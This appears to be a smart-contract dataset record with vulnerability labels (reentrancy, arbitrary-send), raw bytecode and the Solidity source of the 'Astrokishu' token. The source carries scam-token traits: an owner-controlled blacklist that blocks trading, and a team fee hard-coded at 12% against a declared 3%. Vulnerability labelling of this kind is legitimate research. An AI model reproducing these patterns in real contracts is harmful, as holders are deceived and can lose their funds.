3b925910160405180910390a3505050565b6001600160a01b0383166111f25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107b4565b6001600160a01b0382166112545760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107b4565b600081116112b65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107b4565b6001600160a01b03831660009081526006602052604090205460ff161561132b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107b4565b600080546001600160a01b0385811691161480159061135857506000546001600160a01b03848116911614155b1561179d57600a546001600160a01b03858116911614801561138857506007546001600160a01b03848116911614155b80156113ad57506001600160a01b03831660009081526004602052604090205460ff16155b156116395760115460ff166114045760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107b4565b60105442036114435760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107b4565b42601054610e106114549190611f14565b11156114ce57600f5461146684610a0a565b6114709084611f14565b11156114ce5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107b4565b6001600160a01b03831660009081526005602052604090206001015460ff16611536576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115469190611f14565b111561161a57600e5482111561159e5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107b4565b6115a942600f611f14565b6001600160a01b0384166000908152600560205260409020541061161a5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107b4565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff16158015611653575060115460ff165b801561166d5750600a546001600160a01b03858116911614155b1561179d5761167d42600f611f14565b6001600160a01b038516600090815260056020526040902054106116ef5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107b4565b60006116fa30610a0a565b905080156117865760115462010000900460ff161561177d57600d54600a546064919061172f906001600160a01b0316610a0a565b6117399190611f2c565b6117439190611f4b565b81111561177d57600d54600a5460649190611766906001600160a01b0316610a0a565b6117709190611f2c565b61177a9190611f4b565b90505b61178681611881565b47801561179657611796476117fc565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806117df57506001600160a01b03841660009081526004602052604090205460ff165b156117e8575060005b6117f585858584866119f5565b5050505050565b6008546001600160a01b03166108fc611816600284611f4b565b6040518115909202916000818181858888f1935050505015801561183e573d6000803e3d6000fd5b506009546001600160a01b03166108fc611859600284611f4b565b6040518115909202916000818181858888f193505050501580156108a7573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118c5576118c5611e48565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561191e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119429190611eac565b8160018151811061195557611955611e48565b6001600160a01b03928316602091820292909201015260075461197b913091168461106a565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119b4908590600090869030904290600401611f6d565b600060405180830381600087803b1580156119ce57600080fd5b505af11580156119e2573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a018383611a17565b9050611a0f86868684611a5e565b505050505050565b6000808315611a57578215611a2f5750600b54611a57565b50600c54601054611a4290610384611f14565b421015611a5757611a54600582611f14565b90505b9392505050565b600080611a6b8484611b3b565b6001600160a01b0388166000908152600260205260409020549193509150611a94908590611e31565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611ac4908390611f14565b6001600160a01b038616600090815260026020526040902055611ae681611b6f565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b2b91815260200190565b60405180910390a3505050505050565b600080806064611b4b8587611f2c565b611b559190611f4b565b90506000611b638287611e31565b96919550909350505050565b30600090815260026020526040902054611b8a908290611f14565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611bca57858101830151858201604001528201611bae565b81811115611bdc576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a0757600080fd5b8035611c1281611bf2565b919050565b600060208284031215611c2957600080fd5b8135611a5781611bf2565b60008060408385031215611c4757600080fd5b8235611c5281611bf2565b946020939093013593505050565b60008060408385031215611c7357600080fd5b50508035926020909101359150565b600080600060608486031215611c9757600080fd5b8335611ca281611bf2565b92506020840135611cb281611bf2565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611cec57600080fd5b823567ffffffffffffffff80821115611d0457600080fd5b818501915085601f830112611d1857600080fd5b813581811115611d2a57611d2a611cc3565b8060051b604051601f19603f83011681018181108582111715611d4f57611d4f611cc3565b604052918252848201925083810185019188831115611d6d57600080fd5b938501935b82851015611d9257611d8385611c07565b84529385019392850192611d72565b98975050505050505050565b600060208284031215611db057600080fd5b5035919050565b8015158114610a0757600080fd5b600060208284031215611dd757600080fd5b8135611a5781611db7565b60008060408385031215611df557600080fd5b8235611e0081611bf2565b91506020830135611e1081611bf2565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e4357611e43611e1b565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611e7057611e70611e1b565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ebe57600080fd5b8151611a5781611bf2565b600080600060608486031215611ede57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f0957600080fd5b8151611a5781611db7565b60008219821115611f2757611f27611e1b565b500190565b6000816000190483118215151615611f4657611f46611e1b565b500290565b600082611f6857634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fbd5784516001600160a01b031683529383019391830191600101611f98565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220d23d1752edbeb85b6852c2ceb357d597a92bc6aa7663144442868cc644f6eba764736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,351
0xddd84bbf61578f70668965cf7daa7f01090e28cf
//Telegram: https://t.me/Astrokishu // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Astrokishu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Astrokishu | t.me/Astrokishu"; string private constant _symbol = "Astrokishu"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 3; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.mul(4).div(10)); _marketingFunds.transfer(amount.mul(6).div(10)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 12); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f01565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a24565b61045e565b6040516101789190612ee6565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a3565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129d5565b61048c565b6040516101e09190612ee6565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612947565b610565565b005b34801561021e57600080fd5b50610227610655565b6040516102349190613118565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa1565b61065e565b005b34801561027257600080fd5b5061027b610710565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612947565b610782565b6040516102b191906130a3565b60405180910390f35b3480156102c657600080fd5b506102cf6107d3565b005b3480156102dd57600080fd5b506102e6610926565b6040516102f39190612e18565b60405180910390f35b34801561030857600080fd5b5061031161094f565b60405161031e9190612f01565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a24565b61098c565b60405161035b9190612ee6565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a60565b6109aa565b005b34801561039957600080fd5b506103a2610afa565b005b3480156103b057600080fd5b506103b9610b74565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af3565b6110d3565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612999565b61121b565b60405161041891906130a3565b60405180910390f35b60606040518060400160405280601c81526020017f417374726f6b69736875207c20742e6d652f417374726f6b6973687500000000815250905090565b600061047261046b6112a2565b84846112aa565b6001905092915050565b6000678ac7230489e80000905090565b6000610499848484611475565b61055a846104a56112a2565b610555856040518060600160405280602881526020016137dc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050b6112a2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c349092919063ffffffff16565b6112aa565b600190509392505050565b61056d6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f190612fe3565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106666112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90612fe3565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107516112a2565b73ffffffffffffffffffffffffffffffffffffffff161461077157600080fd5b600047905061077f81611c98565b50565b60006107cc600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db9565b9050919050565b6107db6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f90612fe3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f417374726f6b6973687500000000000000000000000000000000000000000000815250905090565b60006109a06109996112a2565b8484611475565b6001905092915050565b6109b26112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690612fe3565b60405180910390fd5b60005b8151811015610af6576001600a6000848481518110610a8a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aee906133b9565b915050610a42565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3b6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614610b5b57600080fd5b6000610b6630610782565b9050610b7181611e27565b50565b610b7c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0090612fe3565b60405180910390fd5b600f60149054906101000a900460ff1615610c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5090613063565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ce830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e800006112aa565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2e57600080fd5b505afa158015610d42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d669190612970565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dc857600080fd5b505afa158015610ddc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e009190612970565b6040518363ffffffff1660e01b8152600401610e1d929190612e33565b602060405180830381600087803b158015610e3757600080fd5b505af1158015610e4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6f9190612970565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ef830610782565b600080610f03610926565b426040518863ffffffff1660e01b8152600401610f2596959493929190612e85565b6060604051808303818588803b158015610f3e57600080fd5b505af1158015610f52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f779190612b1c565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506b0813f3978f894098440000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107d929190612e5c565b602060405180830381600087803b15801561109757600080fd5b505af11580156110ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cf9190612aca565b5050565b6110db6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115f90612fe3565b60405180910390fd5b600081116111ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a290612fa3565b60405180910390fd5b6111d960646111cb83678ac7230489e8000061212190919063ffffffff16565b61219c90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161121091906130a3565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131190613043565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138190612f63565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146891906130a3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc90613023565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90612f23565b60405180910390fd5b60008111611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90613003565b60405180910390fd5b6115a0610926565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160e57506115de610926565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7157600f60179054906101000a900460ff1615611841573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116ea5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117445750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184057600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178a6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614806118005750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e86112a2565b73ffffffffffffffffffffffffffffffffffffffff16145b61183f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183690613083565b60405180910390fd5b5b5b60105481111561185057600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f45750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fd57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fe5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a165750600f60179054906101000a900460ff165b15611ab75742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6657600080fd5b603c42611a7391906131d9565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac230610782565b9050600f60159054906101000a900460ff16158015611b2f5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffff